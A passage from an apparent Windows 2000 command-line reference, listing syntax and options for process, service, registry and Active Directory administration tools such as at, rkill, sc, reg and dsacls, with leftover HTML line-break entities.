Display all holders of the specified user right (specified by its case-sensitive internal name—&lt;br /&gt;
see the "user rights" listing later in this book for more information).&lt;br /&gt;
usrstatRK&lt;br /&gt;
usrstat domain&lt;br /&gt;
List the domain users and their most recent login times.&lt;br /&gt;
usrtogrpRK&lt;br /&gt;
usrtogrp file&lt;br /&gt;
Add users to groups as specified in file (see W2RKTools.Chm for format details).&lt;br /&gt;
1.14 Managing Processes&lt;br /&gt;
at&lt;br /&gt;
List or schedule delayed and periodic tasks on the specified computer system. (This defaults&lt;br /&gt;
to the local system.)&lt;br /&gt;
Variations&lt;br /&gt;
at [\\host]&lt;br /&gt;
List currently pending at jobs in the Schedule service queue. Note that at jobs also appear in&lt;br /&gt;
the Scheduled Tasks control panel applet, and may be managed from there also.&lt;br /&gt;
at [\\host] job-ID /DELETE&lt;br /&gt;
at [\\host] /DELETE [/YES]&lt;br /&gt;
Remove a pending job (first form) or all pending jobs (second form; /YES preconfirms the&lt;br /&gt;
action).&lt;br /&gt;
at [\\host] time [options] command&lt;br /&gt;
Schedule a job for one-time or periodic execution; time indicates the time of day at which the&lt;br /&gt;
command runs.&lt;br /&gt;
Job Scheduling Options&lt;br /&gt;
/NEXT: weekday | n&lt;br /&gt;
Run the command on the next occurrence of the specified day of the week or on the&lt;br /&gt;
nth of the month.&lt;br /&gt;
/EVER Y: weekday-and-dates-list&lt;br /&gt;
Run the command on a regular schedule; i.e., on each day of the week or the date of&lt;br /&gt;
the month specified in the comma-separated list.&lt;br /&gt;
/INTERACTIVE&lt;br /&gt;
Allow desktop input when the command executes.&lt;br /&gt;
clearmemRK&lt;br /&gt;
clearmem [options]&lt;br /&gt;
Clear and allocate memory.&lt;br /&gt;
Option&lt;br /&gt;
-mn&lt;br /&gt;
Allocate n MB of memory (the default is all of the memory).&lt;br /&gt;
See W2RKTools.Chm for other options.&lt;br /&gt;
diskperf&lt;br /&gt;
diskperf -Y[D | V] | -N[D | V] [\\host]&lt;br /&gt;
Enable (-Y) or disable (-N) disk performance counters on the specified system (this defaults&lt;br /&gt;
to the local system). D and V refer to the counters for physical and logical devices,&lt;br /&gt;
respectively—for example, -YD enables the counter for physical disks. By default, all&lt;br /&gt;
counters are enabled. The command takes effect once the system is rebooted.&lt;br /&gt;
kill&lt;br /&gt;
kill [/F] item&lt;br /&gt;
Terminate one or more processes, where item is a process ID or a regular expression designed&lt;br /&gt;
to match a complete task /command name or window title. The /F option kills some processes&lt;br /&gt;
that survive the normal termination signal.&lt;br /&gt;
memsnap&lt;br /&gt;
Memsnap&lt;br /&gt;
Write a listing of all current processes and their memory usage statistics to the file&lt;br /&gt;
memsnap.log.&lt;br /&gt;
net print&lt;br /&gt;
net print \\host\shared-printer&lt;br /&gt;
List the contents of the specified print queue.&lt;br /&gt;
net print [\\host] job-number [/HOLD | /RELEASE | /DELETE]&lt;br /&gt;
List /manage the specified print job, performing the operation indicated by any specified&lt;br /&gt;
option.&lt;br /&gt;
pmon&lt;br /&gt;
pmon&lt;br /&gt;
Continuously display a list of currently running processes, as well as the overall system&lt;br /&gt;
memory and paging statistics.&lt;br /&gt;
ps.vbsRK&lt;br /&gt;
[cscript] ps.vbs [/S server] [/U user] [/W password]&lt;br /&gt;
List the running processes on the local /specified server, showing the complete path to the&lt;br /&gt;
running executable file. Use the latter two options to specify a user account for authentication&lt;br /&gt;
purposes.&lt;br /&gt;
ptreeRK&lt;br /&gt;
ptree [-c server]&lt;br /&gt;
Display the process tree on the local or specified server, showing process relationships.&lt;br /&gt;
ptree [-c server] -k | -kt pid&lt;br /&gt;
Delete the specified process, or delete the process and its entire subtree.&lt;br /&gt;
This command requires the Ptree service to be run on the target system. It is automatically&lt;br /&gt;
installed when the Ptree package is.&lt;br /&gt;
pulistRK&lt;br /&gt;
pulist [\\server][\\server . . .]&lt;br /&gt;
List processes by owner on the specified system(s), defaulting to the local system.&lt;br /&gt;
rkillRK&lt;br /&gt;
List /manage remote processes. This command requires that the Remote Kill service is run on&lt;br /&gt;
the remote system (also found in the Resource Kit).&lt;br /&gt;
rkill /VIEW \\host&lt;br /&gt;
List the processes running on the specified remote host.&lt;br /&gt;
rkill /KILL \\host pid&lt;br /&gt;
Terminate the specified remote process.&lt;br /&gt;
rkill /Nkill \\host executable&lt;br /&gt;
Terminate the processes running the specified executable.&lt;br /&gt;
rkill install | deinstall \\host&lt;br /&gt;
Install or remove the Remote Kill service on the specified host.&lt;br /&gt;
runas&lt;br /&gt;
runas /user:username command&lt;br /&gt;
Execute a command as the specified user.&lt;br /&gt;
Options&lt;br /&gt;
/Env&lt;br /&gt;
Use the current network environment rather than the specified user's environment.&lt;br /&gt;
/NetOnly&lt;br /&gt;
Use the user information for remote access only.&lt;br /&gt;
/Profile&lt;br /&gt;
Load the user profile of the specified user.&lt;br /&gt;
soonRK&lt;br /&gt;
soon [\\host] [seconds] [/INTERACTIVE] command&lt;br /&gt;
Run a command after a delay period. This command serves as an alternate interface to the&lt;br /&gt;
Schedule service on the local computer or on a remote host (see also the at command).&lt;br /&gt;
soon schedules the specified command to run in the indicated number of seconds (see the&lt;br /&gt;
following list for defaults). The /INTERACTIVE option allows it to interact with the&lt;br /&gt;
keyboard when executed.&lt;br /&gt;
soon /D [options]&lt;br /&gt;
Set the default values for various parameters used by the soon command, as indicated by the&lt;br /&gt;
subsequent options.&lt;br /&gt;
Default Setting Options&lt;br /&gt;
/L:n&lt;br /&gt;
Set the default delay period for local jobs to n seconds (this is initially 5 seconds).&lt;br /&gt;
/R:n&lt;br /&gt;
Set the default delay period for remote jobs to n seconds (this is initially 15 seconds).&lt;br /&gt;
/I:ON | OFF&lt;br /&gt;
Specify whether the /INTERACTIVE option is the default or not (this is initially off&lt;br /&gt;
).&lt;br /&gt;
start&lt;br /&gt;
start [window-title] [options] command&lt;br /&gt;
Start a command.&lt;br /&gt;
Options&lt;br /&gt;
/Ddir&lt;br /&gt;
Set the current working directory for the command.&lt;br /&gt;
/B&lt;br /&gt;
Start the command as a background process—don't create a new window.&lt;br /&gt;
/LOW | /NORMAL | /HIGH | /REALTIME&lt;br /&gt;
Specify the priority class for the new process.&lt;br /&gt;
/WAIT&lt;br /&gt;
Start the command and wait for it to complete.&lt;br /&gt;
/MIN | /MAX&lt;br /&gt;
Start the command and minimize or maximize the new window (respectively).&lt;br /&gt;
/I&lt;br /&gt;
Pass the original environment to the command rather than to the current environment.&lt;br /&gt;
timethisRK&lt;br /&gt;
timethis command&lt;br /&gt;
Run the specified command and report on its execution timing data. It is often useful to&lt;br /&gt;
combine this command with start /B to time a background command.&lt;br /&gt;
tlist&lt;br /&gt;
Tlist [/T]&lt;br /&gt;
List the current processes in tree format, indicating process parentage hierarchy if /T is&lt;br /&gt;
included.&lt;br /&gt;
tlist pid | regular-expression&lt;br /&gt;
List the module information for the specified process or for all matching processes.&lt;br /&gt;
typeperfRK&lt;br /&gt;
typeperf interval counters&lt;br /&gt;
Display the current values of the specified performance counters on the screen, repeating the&lt;br /&gt;
process every specified interval of seconds. Performance Monitor counter names are&lt;br /&gt;
generally specified in the form \\server]\object\counter (e.g., \Memory\Available Mbytes).&lt;br /&gt;
1.15 Managing Services&lt;br /&gt;
delsrvRK&lt;br /&gt;
Delsrv service&lt;br /&gt;
Delete and unregister the specified service. Use sclist to view the names of installed services.&lt;br /&gt;
dumpelRK&lt;br /&gt;
Dumpel [-s \\ server] -f output-file -l log [options]&lt;br /&gt;
Write event log entries from the local system or the specified system to the indicated output&lt;br /&gt;
file (separating fields by spaces by default). The -l option specifies the event log to dump:&lt;br /&gt;
system, security, or application (the default).&lt;br /&gt;
Options&lt;br /&gt;
-t&lt;br /&gt;
Separate fields by tabs.&lt;br /&gt;
-m source [-e id-list] [-r]&lt;br /&gt;
Specify the source field (i.e., the subsystem) for which to dump events, further&lt;br /&gt;
limiting the list to the listed event IDs (up to 10 may be specified) if -e is included.&lt;br /&gt;
The -r option reverses the sense of this filtering, writing all events except those that&lt;br /&gt;
meet the specified criteria.&lt;br /&gt;
-d n&lt;br /&gt;
Dump events for only the past n days.&lt;br /&gt;
elogdmpRK&lt;br /&gt;
elogdmp server logtype&lt;br /&gt;
Dump the event log entries from the specified system to standard output in CSV format.&lt;br /&gt;
logtype is either Application, Security, or System.&lt;br /&gt;
instsrvRK&lt;br /&gt;
instsrv service-name command-path [options]&lt;br /&gt;
Install a new service with the specified service name, running the executable indicated by&lt;br /&gt;
command-path.&lt;br /&gt;
instsrv service-name remove&lt;br /&gt;
Remove an installed service. Use sclist to determine the name of the desired service.&lt;br /&gt;
Options&lt;br /&gt;
/A user&lt;br /&gt;
Run the service as the specified user.&lt;br /&gt;
/P password&lt;br /&gt;
Specify the password for the user account.&lt;br /&gt;
logeventRK&lt;br /&gt;
logevent [-m \\server] [options] text&lt;br /&gt;
Add an event to the Application event log.&lt;br /&gt;
Options&lt;br /&gt;
-s c&lt;br /&gt;
Specify the event severity level; either s (success), i (information), w (warning), e&lt;br /&gt;
(error), or f (failure).&lt;br /&gt;
-c n&lt;br /&gt;
Specify the event category number (the default is 0).&lt;br /&gt;
-e id&lt;br /&gt;
Specify the event ID (the default is 1).&lt;br /&gt;
-r string&lt;br /&gt;
Provide a description of the event's source.&lt;br /&gt;
msizap&lt;br /&gt;
msizap items [!]&lt;br /&gt;
Remove Windows Installer-related settings and files from the local computer, allowing for a&lt;br /&gt;
clean reinstallation. items consists of one or more code letters that indicate what should be&lt;br /&gt;
removed. The most important of these are * (everything), F (Installer-related folders only), R&lt;br /&gt;
(registry keys), N (Installer items from the Uninstall registry key), V (stop the service), and A&lt;br /&gt;
(change ACLs to Full Control for Admins only). In addition, the code T prod-code may be&lt;br /&gt;
used to limit the action to the specified product.&lt;br /&gt;
! says to force a yes answer to any prompts that arise.&lt;br /&gt;
net config&lt;br /&gt;
net config [SERVER | WORKSTATION] [options]&lt;br /&gt;
Set configuration information for or display information about the Server and Workstation&lt;br /&gt;
services.&lt;br /&gt;
net config Server Options&lt;br /&gt;
/AUTODISCONNECT:mins&lt;br /&gt;
Disconnect inactive server sessions after the specified number of minutes. The valid&lt;br /&gt;
range is -1 (disable) to 65,535 minutes; the default is 15 minutes.&lt;br /&gt;
/SRVCOMMENT: text&lt;br /&gt;
Add a comment for the server (the maximum length is 48 characters).&lt;br /&gt;
/HIDDEN:YES | NO&lt;br /&gt;
If set to YES, exclude the server from server lists that are displayed to network users&lt;br /&gt;
(NO is the default).&lt;br /&gt;
net config Workstation Options&lt;br /&gt;
/CHARCOUNT:bytes&lt;br /&gt;
Specify the outgoing buffer size. The valid range is 0-65,535 bytes; the default is 16&lt;br /&gt;
bytes.&lt;br /&gt;
/CHARTIME:msec&lt;br /&gt;
Specify the number of milliseconds to collect data before sending it to a&lt;br /&gt;
communication device. The valid range is 0-65,535,000 milliseconds (the maximum&lt;br /&gt;
is ~18 hours), and the default is 250.&lt;br /&gt;
Whichever of these options (CHARCOUNT or /CHARTIME) is satisfied first determines&lt;br /&gt;
when data is transmitted.&lt;br /&gt;
/CHARWAIT:sec&lt;br /&gt;
Specify the number of seconds to wait for a communication device to become&lt;br /&gt;
available. The valid range is - 65,535 seconds; the default is 3,600 seconds, or 1 hour.&lt;br /&gt;
net continue&lt;br /&gt;
net continue service&lt;br /&gt;
Resume a service that has been paused.&lt;br /&gt;
net pause&lt;br /&gt;
net pause service&lt;br /&gt;
Pause a running service.&lt;br /&gt;
net start&lt;br /&gt;
net start [service]&lt;br /&gt;
Start a Windows 2000 service. Enclose the service name in quotes if it contains internal&lt;br /&gt;
spaces. Run the command without a parameter to list some available services and their&lt;br /&gt;
canonical names (see the Windows 2000 help file for a more complete list).&lt;br /&gt;
net stop&lt;br /&gt;
net stop service&lt;br /&gt;
Stop the specified service.&lt;br /&gt;
netsvcRK&lt;br /&gt;
netsvc service \\ host /cmd&lt;br /&gt;
Manage services on a remote host. cmd is either list, query, start, stop, pause, or continue.&lt;br /&gt;
scRK&lt;br /&gt;
sc [\\server] command service&lt;br /&gt;
Obtain detailed information or manage system services.&lt;br /&gt;
Process-related commands (Start, Stop, Pause, and Continue) change the state of the&lt;br /&gt;
specified server's processes.&lt;br /&gt;
Query commands such as the following return various pieces of information about the&lt;br /&gt;
service: GetDisplayName (the service's descriptive name), Qdescription (the service&lt;br /&gt;
description), GetKeyName (the associated registry key), EnumDependencies (listdependency&lt;br /&gt;
information), Query and QueryEx (the current status is basic and detailed), Qc&lt;br /&gt;
(the configuration settings), Qfailure (the action taken on process termination), and SDShow&lt;br /&gt;
(show the service descriptor in SDDL format).&lt;br /&gt;
Several commands may be used to configure or reconfigure a service: Create (add a new&lt;br /&gt;
service), Delete (remove a service), Config (change settings), Description (set description),&lt;br /&gt;
Failure (specify actions on failure/process termination), and SDSet (specify security&lt;br /&gt;
descriptor).&lt;br /&gt;
Finally, the form:&lt;br /&gt;
sc boot ok | bad&lt;br /&gt;
may be used to specify whether the most recent restart configuration is saved as the last&lt;br /&gt;
known good configuration.&lt;br /&gt;
sclistRK&lt;br /&gt;
sclist [options] [\\ host]&lt;br /&gt;
List services on the specified host (defaults to the local system).&lt;br /&gt;
Options&lt;br /&gt;
/R&lt;br /&gt;
Display running services only.&lt;br /&gt;
/S&lt;br /&gt;
Display stopped services only.&lt;br /&gt;
1.16 Accessing the System Registry&lt;br /&gt;
duregRK&lt;br /&gt;
dureg [/root-key] [key]&lt;br /&gt;
Estimate the size of the entire system registry or of the subtree indicated by the option, which&lt;br /&gt;
is either /cr (HKCR), /cu (HKCU), /u (HKUS), or /lm (HKLM). If key is specified, then only&lt;br /&gt;
the size of the specified key is given.&lt;br /&gt;
reg&lt;br /&gt;
reg op args [options]&lt;br /&gt;
Perform various registry operations. The syntax varies according to the operation specified.&lt;br /&gt;
Operations are listed, along with their specific syntaxes, following the list of common&lt;br /&gt;
options. Note that all keys are specified as full paths, beginning with a standard root key&lt;br /&gt;
abbreviation (HKLM, HKCU, HKCR, or HKCC).&lt;br /&gt;
Common Options&lt;br /&gt;
/V value-name | /VE&lt;br /&gt;
Specify a registry value on which to operate. /VE refers to an empty (unnamed)&lt;br /&gt;
value.&lt;br /&gt;
/S&lt;br /&gt;
Recurse the subtree below the specified key/value.&lt;br /&gt;
/F&lt;br /&gt;
Suppress confirmation prompts.&lt;br /&gt;
Available Operations&lt;br /&gt;
reg query [\\host \] key [options]&lt;br /&gt;
Display the value (data) in a registry key. Supports the /V, /VE, and /S options.&lt;br /&gt;
reg add [\\host \] key [options ]&lt;br /&gt;
Add a specified registry key. Accepts /V, /VE, and /F. Also supports /T type (specify&lt;br /&gt;
datatype), /D data (set value to), and /S char (specify a separator character for&lt;br /&gt;
REG_EXPAND_SZ type values; the default is \o).&lt;br /&gt;
reg copy [\\host \]srckey [\\host \] destkey [options]&lt;br /&gt;
Copy a registry key. Supports /S and /F.&lt;br /&gt;
reg delete [\\host \] key [options]&lt;br /&gt;
Delete a registry key. Supports /F, /V, /VE, and /VA (delete all values under the&lt;br /&gt;
specified value).&lt;br /&gt;
reg compare [\\host1\] key1 [\\host2\] key2 [options ] [output-opt]&lt;br /&gt;
Compare two registry keys. Use /S to compare two subtrees. Also supports /V and&lt;br /&gt;
/VE. The output-opt specifies how differences are reported, and is either /OA (all&lt;br /&gt;
info), /OD (only differences), /OS (only matches), or /ON (no output; use return code&lt;br /&gt;
for the following results: 0=identical, 2=different, 1=failure).&lt;br /&gt;
reg save [\\host \] key file&lt;br /&gt;
Save the specified key to the indicated file (operation is automatically recursive).&lt;br /&gt;
reg restore [\\host \] key file&lt;br /&gt;
Restore the specified registry key from the data stored in the specified file created&lt;br /&gt;
with reg save (operation is automatically recursive).&lt;br /&gt;
reg export key file [/NT4]&lt;br /&gt;
Export a local registry key to a file, using the NT 4 .REG file format if that option is&lt;br /&gt;
included (operation is automatically recursive).&lt;br /&gt;
reg import file&lt;br /&gt;
Import keys in the specified file into the local registry.&lt;br /&gt;
reg load [\\host \] key file&lt;br /&gt;
Temporarily load keys from file (created with reg save) into the specified temporary&lt;br /&gt;
registry key. These keys do not persist across boots.&lt;br /&gt;
reg unload [\\host \] key&lt;br /&gt;
Unload keys previously loaded at the specified temporary key.&lt;br /&gt;
regbackRK&lt;br /&gt;
Back up registry hives to disk.&lt;br /&gt;
regback directory&lt;br /&gt;
Back up all registry files to the specified directory, which must not already contain registry&lt;br /&gt;
backup files.&lt;br /&gt;
regback file MACHINE | USERS hive&lt;br /&gt;
Back up the specified hive to the specified file, where hive is a subtree of&lt;br /&gt;
HKEY_LOCAL_MACHINE or HKEY_USERS (as indicated by the preceding keyword).&lt;br /&gt;
regdmpRK&lt;br /&gt;
regdmp [/m \\system | /h hivefile hiveroot]&lt;br /&gt;
Dump the local registry (no option), a remote registry ( /m), or a local registry hive (/h).&lt;br /&gt;
regdmp output is suitable to use as input to regini (see more on regini later in this section).&lt;br /&gt;
Option&lt;br /&gt;
/S&lt;br /&gt;
Produce summary output only.&lt;br /&gt;
regfindRK&lt;br /&gt;
regfind [/m \\system] [options] search-string ^ [/r replacestring]&lt;br /&gt;
Perform search or search-and-replace operations in the local registry or in a remote registry.&lt;br /&gt;
Options&lt;br /&gt;
/p keypath&lt;br /&gt;
Begin the search at the specified key location.&lt;br /&gt;
/n&lt;br /&gt;
Include key and value names in the search. Invalid with /t.&lt;br /&gt;
/y&lt;br /&gt;
Ignore case when searching.&lt;br /&gt;
/z [ /r]&lt;br /&gt;
Include string values that are missing a trailing NULL or that have a length that is not&lt;br /&gt;
a multiple of the size of a Unicode character. If /r is included with /z, regfind adds&lt;br /&gt;
the missing NULLs and adjusts the length of the string value (any replace_string is&lt;br /&gt;
ignored).&lt;br /&gt;
/t datatype&lt;br /&gt;
Limit the operation to data of the specified type (the default is any of the string, _SZ,&lt;br /&gt;
types).&lt;br /&gt;
/b | /B&lt;br /&gt;
Look for the search string inside of binary data. /B searches in both Unicode and&lt;br /&gt;
ANSI formats, while /b searches only in the former. Any replacement string must be&lt;br /&gt;
the same length as the search string.&lt;br /&gt;
reginiRK&lt;br /&gt;
regini script-file&lt;br /&gt;
Modify the registry according to the instructions in the specified script file. See&lt;br /&gt;
W2RKTools.Chm for details.&lt;br /&gt;
regrestRK&lt;br /&gt;
Restore registry hives that have been backed up with the regback command.&lt;br /&gt;
regrest backup-dir save-dir&lt;br /&gt;
Replace current registry hives with the information stored in backup-dir, saving the current&lt;br /&gt;
registry files into save-dir.&lt;br /&gt;
regrest backup-file save-file MACHINE | USERS hive&lt;br /&gt;
Restore the specified registry hive from backup-file, saving the current hive to save-file.&lt;br /&gt;
Reboot the system for the new data to become active.&lt;br /&gt;
scanregRK&lt;br /&gt;
scanreg /s search-string item-options [options]&lt;br /&gt;
Search the specified registry entities for the specified character string.&lt;br /&gt;
Item Selection Options&lt;br /&gt;
One or more of these must be specified:&lt;br /&gt;
/k&lt;br /&gt;
Search key names.&lt;br /&gt;
/v&lt;br /&gt;
Search value names.&lt;br /&gt;
/d&lt;br /&gt;
Search value settings (data).&lt;br /&gt;
Additional Options&lt;br /&gt;
/c&lt;br /&gt;
Perform a case-sensitive search.&lt;br /&gt;
/e&lt;br /&gt;
Require an exact match.&lt;br /&gt;
1.17 Active Directory and Domain Management Commands&lt;br /&gt;
acldiag&lt;br /&gt;
acldiag object-dn [options]&lt;br /&gt;
Display access control information for the Active Directory object (specified by its&lt;br /&gt;
distinguished name).&lt;br /&gt;
Options&lt;br /&gt;
/GETEFFECTIVE:name&lt;br /&gt;
Display effective rights for the specified user or group. An asterisk for name displays&lt;br /&gt;
the entire ACL.&lt;br /&gt;
/TDO&lt;br /&gt;
Generate output in a tab-delimited format.&lt;br /&gt;
See the command help for other options.&lt;br /&gt;
auditpolRK&lt;br /&gt;
auditpol [\\server] /Enable | /Disable [options]&lt;br /&gt;
Enable or disable security auditing on the local system or on the specified computer.&lt;br /&gt;
Option&lt;br /&gt;
/category : type&lt;br /&gt;
Specify events to audit. category is either system, logon, object, privilege, policy, or&lt;br /&gt;
sam. type is either success, failure, all (i.e., both), or none.&lt;br /&gt;
browstat&lt;br /&gt;
browstat [options]&lt;br /&gt;
Manage the network browsing infrastructure.&lt;br /&gt;
Options&lt;br /&gt;
DN&lt;br /&gt;
Display the list of transports bound to the browser. Use this option to determine the&lt;br /&gt;
canonical name of the transport in which you are interested.&lt;br /&gt;
EL protocol domain&lt;br /&gt;
Force a master browser election in the specified domain and network transport&lt;br /&gt;
protocol.&lt;br /&gt;
GB protocol [domain] [refresh]&lt;br /&gt;
Retrieve a list of backup browsers in the specified domain for the specified transport&lt;br /&gt;
protocol.&lt;br /&gt;
GM protocol domain&lt;br /&gt;
Display a browser master for the specified domain.&lt;br /&gt;
GP transport domain&lt;br /&gt;
Display a PDC name for the specified domain.&lt;br /&gt;
WFW domain&lt;br /&gt;
List the Windows for Workgroups computers that are running the browser.&lt;br /&gt;
STS [\\server] [clear]&lt;br /&gt;
Display browser status for the specified server (defaults to the local system). Adding&lt;br /&gt;
clear says to clear all counters.&lt;br /&gt;
STA [-v] workgroup&lt;br /&gt;
Display browser status for the specified workgroup, with optional verbose output.&lt;br /&gt;
TIC transport domain&lt;br /&gt;
Stop the master browser for the specified domain.&lt;br /&gt;
VW transport domain | server [/domain]&lt;br /&gt;
View the browser list for a specified server or domain. By default, servers are listed;&lt;br /&gt;
include the /domain option to view the domain list instead.&lt;br /&gt;
csvde, ldifde&lt;br /&gt;
csvde [options]&lt;br /&gt;
ldifde [options]&lt;br /&gt;
Import /export data to/from the Active Directory via an LDIF (ldifde) or comma-separated&lt;br /&gt;
value (csvde) format text file.&lt;br /&gt;
Options&lt;br /&gt;
/B user domain password&lt;br /&gt;
Specify the domain and user context for the command.&lt;br /&gt;
/I&lt;br /&gt;
Perform an import operation (export is the default).&lt;br /&gt;
/F file&lt;br /&gt;
Specify the name of the import or export file.&lt;br /&gt;
/S server&lt;br /&gt;
Specify the system on which to perform the import /export.&lt;br /&gt;
/T port&lt;br /&gt;
Specify the communication port (the default is 389 for LDAP and 3268 for the global&lt;br /&gt;
catalog).&lt;br /&gt;
/D starting-dn&lt;br /&gt;
Specifty the distinguished name of the starting point for an export operation.&lt;br /&gt;
/P scope&lt;br /&gt;
Set the scope for an export operation: ONELEVEL, BASE, or SUBTREE (the&lt;br /&gt;
default).&lt;br /&gt;
/R filter&lt;br /&gt;
Set a filter to limit exported data, in standard LDAP format.&lt;br /&gt;
/L attribute-list&lt;br /&gt;
Provide a comma-separated list of attributes to export for matching records.&lt;br /&gt;
/O attribute-list&lt;br /&gt;
Provide a comma-separated list of attributes to exclude from the export.&lt;br /&gt;
/M&lt;br /&gt;
Omit the Active Directory-specific attributes from an export.&lt;br /&gt;
/N&lt;br /&gt;
Omit binary values.&lt;br /&gt;
/C old new&lt;br /&gt;
Transform data, changing all instances of the first string to the second string. For&lt;br /&gt;
example, this can be used to change the domain name or other global data within all&lt;br /&gt;
records.&lt;br /&gt;
/V&lt;br /&gt;
A verbose command output.&lt;br /&gt;
/J path&lt;br /&gt;
Set the log file location.&lt;br /&gt;
/G&lt;br /&gt;
Do not perform paged searches.&lt;br /&gt;
/K&lt;br /&gt;
Continue processing on errors.&lt;br /&gt;
dcdiag&lt;br /&gt;
dcdiag /S:server [options]&lt;br /&gt;
Test various aspects of the normal functioning of the specified domain controller, including&lt;br /&gt;
network connectivity, DNS registration, replication success and timeliness, and any similar&lt;br /&gt;
issues.&lt;br /&gt;
Options&lt;br /&gt;
/U:domain \user /P: password | *&lt;br /&gt;
Specify the authentication credentials. An asterisk for the password causes a&lt;br /&gt;
password prompt to be issued.&lt;br /&gt;
/TEST:list | /SKIP: list [/C]&lt;br /&gt;
Specify which tests to run. /TEST indicates a specific list of tests to run, while /SKIP&lt;br /&gt;
indicates a list of tests to skip (all others are performed). In either case, /C says to&lt;br /&gt;
extend the test set to include some optional tests. See the online command help for&lt;br /&gt;
the complete list of tests.&lt;br /&gt;
/A | /E&lt;br /&gt;
Test all servers in the entire site/enterprise, respectively.&lt;br /&gt;
/Q | /V [ / I]&lt;br /&gt;
Quiet/verbose mode. / I ignores "superfluous error messages."&lt;br /&gt;
/F: file1 /FERR: file2&lt;br /&gt;
Specify an output file for output and fatal error output. The files must be different if&lt;br /&gt;
both are used.&lt;br /&gt;
dsacls&lt;br /&gt;
dsacls object-dn [options]&lt;br /&gt;
Manipulate ACLs on an Active Directory object, which is specified by its distinguished name,&lt;br /&gt;
and optionally preceded by a specific server name. Without options, the command displays&lt;br /&gt;
the ACL for the specified object.&lt;br /&gt;
Options&lt;br /&gt;
/A&lt;br /&gt;
Display ownership and auditing data as well as permissions.&lt;br /&gt;
/D | /G user-or-group-list : permissions&lt;br /&gt;
Deny/grant the specified permissions to the indicated users orto the specified groups.&lt;br /&gt;
Names are in the form name @domain or domain\name.&lt;br /&gt;
permissions have a complex syntax (see W2RKSupp.Chm for full details). In their&lt;br /&gt;
simplest form, they are specified as a concatenated list of two-character permission&lt;br /&gt;
bit codes, as follows: GR (generic read), GE (generic execute), GW (generic write),&lt;br /&gt;
GA (generic all), SD (delete), DT (delete tree: object plus children), RC (read&lt;br /&gt;
security data), WD (modify security data), WO (change ownership), LC (list&lt;br /&gt;
children), CC (create child object), DC (delete child object), WS (write to self ), RP&lt;br /&gt;
(read property), WP (write property), CA (control access), and LO (list access).&lt;br /&gt;
/R user-or-group-list&lt;br /&gt;
Remove all entries for the specified users and groups.&lt;br /&gt;
/N&lt;br /&gt;
Replace the current ACL on the object rather than editing it.&lt;br /&gt;
/P [y | n]&lt;br /&gt;
Set the object's protection flag to the specified value (if none is specified, retain the&lt;br /&gt;
current setting).&lt;br /&gt;
/I: c&lt;br /&gt;
Specify the permission inheritance, which is either t (propagate to object and all&lt;br /&gt;
subjects), p (propagate one level only), or s (propagate to subobjects only).&lt;br /&gt;
/S [ /T]&lt;br /&gt;
Restore the security on the object to the default for its object class, as defined in the&lt;br /&gt;
schema. /T says to recursively restore default security to a tree of objects.&lt;br /&gt;
dsastat&lt;br /&gt;
dsastat /S:server;server:[port] options&lt;br /&gt;
Compare AD replicas. Options specify the type and scope of the comparison to perform&lt;br /&gt;
among the servers specified to /S. Server names may include an alternate port number (the&lt;br /&gt;
default is the LDAP port, 389).&lt;br /&gt;
Options&lt;br /&gt;
/B: starting-point-dn&lt;br /&gt;
Limit the comparison to the AD subtree rooted at the indicated object, which is&lt;br /&gt;
specified via its distinguished name.&lt;br /&gt;
/Filter: ldap-filter&lt;br /&gt;
Filter objects in the comparison based on the specified filter given in standard LDAP&lt;br /&gt;
search syntax; the default is "(objectclass=*)".&lt;br /&gt;
/Scope: BASE | ONELEVEL | SUBTREE&lt;br /&gt;
Set the depth of the tree to compare (specify object only, one level down, and the&lt;br /&gt;
entire subtree, respectively). The default is SUBTREE.&lt;br /&gt;
/T:true | false&lt;br /&gt;
If true, perform a full-content comparison of the AD trees. By default (which is&lt;br /&gt;
false), compare only object statistics.&lt;br /&gt;
/Sort:true | false&lt;br /&gt;
If true, sort objects by GUID. This speeds up a full-content comparison. (The default&lt;br /&gt;
is false.)&lt;br /&gt;
/P: size&lt;br /&gt;
Set the number of entries to return per query page. The default is 64. Decrease this&lt;br /&gt;
value for large objects with many specified attributes (e.g., user accounts). The&lt;br /&gt;
allowed range is 1-999.&lt;br /&gt;
/LogLevel: INFO | TRACE | DEBUG&lt;br /&gt;
Specify output verbosity (keywords are in increasing order). The default is INFO.&lt;br /&gt;
/Output: SCREEN | FILE | BOTH&lt;br /&gt;
Send comparison output to the screen, either to a file (named dsastat.log.nnnn), or to&lt;br /&gt;
both locations. The default is SCREEN.&lt;br /&gt;
[/U:user [ /P: password]] [/D:domain]&lt;br /&gt;
Specify a username, password, and/or domain for the command-execution context.&lt;br /&gt;
dumpfsmosRK&lt;br /&gt;
dumpfsmos domain-controller&lt;br /&gt;
Display the names of the domain controllers associated with each of the Flexible Single&lt;br /&gt;
Master Operation (FSMO) roles.&lt;br /&gt;
gpolmigRK&lt;br /&gt;
gpolmig file [options]&lt;br /&gt;
Migrate the Windows NT 4.0 system policy to Windows 2000. The specified file is a saved&lt;br /&gt;
system policy file (.pol).&lt;br /&gt;
Options&lt;br /&gt;
/list&lt;br /&gt;
Display the Windows NT 4.0 policies in the specified file.&lt;br /&gt;
/listgpo&lt;br /&gt;
List import-ready Group Policy Objects (GPOs).&lt;br /&gt;
/migrate type name gpo&lt;br /&gt;
Migrate the named policy of the specified type (user, computer, or group) to the&lt;br /&gt;
specified GPO.&lt;br /&gt;
gpotoolRK&lt;br /&gt;
gpotool [/domain: domain] [/dc:list] [options]&lt;br /&gt;
Validate or manipulate Group Policy Objects.&lt;br /&gt;
Options&lt;br /&gt;
/gpo: list&lt;br /&gt;
Limit the validation to the comma-separated list of GPOs, specified by GUID or the&lt;br /&gt;
name selected when they are created.&lt;br /&gt;
/new:names&lt;br /&gt;
Create new GPOs with the specified names.&lt;br /&gt;
/del:names&lt;br /&gt;
Delete the listed GPOs, specified by name.&lt;br /&gt;
gpresultRK&lt;br /&gt;
gpresult [options]&lt;br /&gt;
Display the effective Group Policy settings (i.e., the RSOP) for the current user and /or for the&lt;br /&gt;
local system.&lt;br /&gt;
Options&lt;br /&gt;
/V | /S&lt;br /&gt;
Request verbose- or super-verbose output. Verbose mode is recommended.&lt;br /&gt;
/C | /U&lt;br /&gt;
Limit the display to computer or user settings.&lt;br /&gt;
guid2objRK&lt;br /&gt;
guid2obj guid [/server:server | /site:site]&lt;br /&gt;
Display the Active Directory object corresponding to the specified globally-unique identifier&lt;br /&gt;
(GUID). The options specify a particular server or site to query (the default is the nearest&lt;br /&gt;
global catalog server).&lt;br /&gt;
klistRK&lt;br /&gt;
klist tickets | tgt | purge&lt;br /&gt;
